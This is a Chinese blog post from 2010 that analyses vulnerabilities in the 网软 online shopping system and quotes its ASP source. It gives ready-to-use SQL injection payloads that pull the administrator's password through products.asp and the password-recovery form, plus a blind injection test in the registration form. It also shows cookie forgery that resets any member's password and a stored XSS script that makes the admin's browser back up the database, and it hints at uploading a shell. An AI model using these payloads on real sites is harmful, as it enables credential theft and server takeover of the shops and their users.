对网软网上购物系统的一点点分析

2010, May 3, 2:13 PM. 漏洞分析
Submitted by admin

作者:ninty
很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点!
注入:
共发现3个可注入的地方:
Products.asp 发生在浏览产品的时候
代码如下:

<%set rss=server.CreateObject("adodb.recordset")
rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里,取得id直接拼到了SQL语句里,注入产生了。!
if rss.eof or bof then
response.write "alert('对不起,没有此商品!');history.go(-1);"
response.end
end if
dim des
if not rss("metad")="" then
des=rss("metad")
end if
if not rss("metak")="" then
keya=rss("metak")
end if
%>
<%=webname%>--商品详细信息
">
">
/css.css" rel="stylesheet" type="text/css">

<!--
function OpenNews()
{
   window.name = "news"
   win = window.open('','newswin','left=110,width=600,height=420,scrollbars=1');
}
//-->

<%if IsNumeric(request.QueryString("id"))=False then
response.write("alert(""非法访问!"");location.href=""index.asp"";")
response.end
end if


这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的!
构造注入语句如下:

http://localhost/shangwu/products.asp?id=353 union select '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1',admin,password,'1','1' from admin


我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码:
大小: 42.14 K
尺寸: 500 x 385
浏览: 34 次
点击打开新窗口浏览全图

Getpwd2.asp 发生在找回密码的时候,代码如下:

<%
username=request.form("username") //直接从表单里拿到username的值
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [YX_User] where name='"&username&"' "  //放入SQL语句 执行 ,注入发生了
rs.open sql,conn,1,1
If rs.eof Then
%>
  。。。省略。。。
<%if rs("Clue")<>"" then%>

问 题:
<%=rs("Clue")%>   //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值


在找回密码的框里输入:

admin' union select
'1','1','1',password,'1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'
,'1','1','1','1','1','1','1','1' from admin where ''='
大小: 19.19 K
尺寸: 421 x 206
浏览: 27 次
点击打开新窗口浏览全图
下一步,直接拿到了管理员密码:
大小: 23.62 K
尺寸: 421 x 206
浏览: 32 次
点击打开新窗口浏览全图
3.Register.asp 发生在注册用户的时候
  set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where Mail='"&trim(request("useremail"))&"' or Name='"&trim(request("username"))&"'",conn,1,1   //直接拿到了useremail和username,就加到了SQL里。
if rs.recordcount>0 then //如果查询出来的记录数大于0
call usererr() //调用usererr()
rs.close
else

其中usererr()的内容是
sub usererr()
response.write ""
response.write ""
response.write "· 用户注册失败!· 您输入的用户名或e-mail地址已存在,请返回重新输入!· 返回上一页 "
end sub

我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的!
如图:
大小: 56.99 K
尺寸: 493 x 500
浏览: 31 次
点击打开新窗口浏览全图
EMAIL那里输入的是:
321564654@123.com ' or exists (select * from admin) or ''<>'

结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页
大小: 52.03 K
尺寸: 500 x 334
浏览: 25 次
点击打开新窗口浏览全图
更改任意用户密码:发生在修改会员密码的页面,看处理页面是如何处理的:
action=request.QueryString("action")
username=request.cookies("Cnhww")("username") //username是从Cookie里取到的
select case action
。。。。省略 。。。。。
case "savepass"
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where name='"&username&"'",conn,1,3
if trim(request("userpassword"))<>"" then
rs("password")=md5(trim(request("userpassword"))) //如果userpassword不为空,就进行修改
end if
rs.update
rs.close
set rs=nothing
response.Write "alert('密码更改成功!');window.location.href='"&request.servervariables("http_referer")&"';"
response.End
  。。。。省略。。。。
end select

我们可以伪造Cookie来修改任何会员的密码。!先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容:
大小: 112.14 K
尺寸: 500 x 195
浏览: 24 次
点击打开新窗口浏览全图
把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456,这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。保存后用NC提交。
大小: 35.65 K
尺寸: 500 x 323
浏览: 37 次
点击打开新窗口浏览全图
到前台用123456登陆。成功!
大小: 78.78 K
尺寸: 500 x 334
浏览: 28 次
点击打开新窗口浏览全图
跨站
问题发生在会员留言那里:mymsg_hand1.asp
set rs=Server.CreateObject("ADODB.recordset")
sql="select * from sms where (name='管理员' or name='admin') and zuti='0' order by riqi desc"
rs.open sql,conn,1,3
if rs.eof and rs.bof then
response.write "收件箱中没有消息。"
else
......中间省略............
do while not rs.eof and pages>0
neirong=rs("neirong")
riqi=rs("riqi")
isnew=rs("isnew")
fname=rs("fname")
id=rs("id")
if pages<10 then response.write ""
%>
......中间省略............

<%=replace(neirong,vbCRLF,"
")%>

在输入的时候只把回车换成了
.我们只要在写跨站代码的时候别加回车就行了!在留言那里写上:
var op = window.open('backdata.asp');setTimeout("back()",2000);function back() {var form=op.document.forms[0];form.DBpath.value="../bbs/data/#wrtxcnshop.asp";form.bkDBname.value="test.mdb";form.submit();

这样在管理员查看留言的时候就会自动打开数据库备份页进行数据库备份,备份后会在databackup目录下生成一个test.mdb

大小: 49.11 K
尺寸: 500 x 306
浏览: 19 次
点击打开新窗口浏览全图
别的漏洞还有很多 有兴趣的朋友自己再看看代码吧...拿SHELL的话冲进后台上传个图片备份吧。
Tags: 网软

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):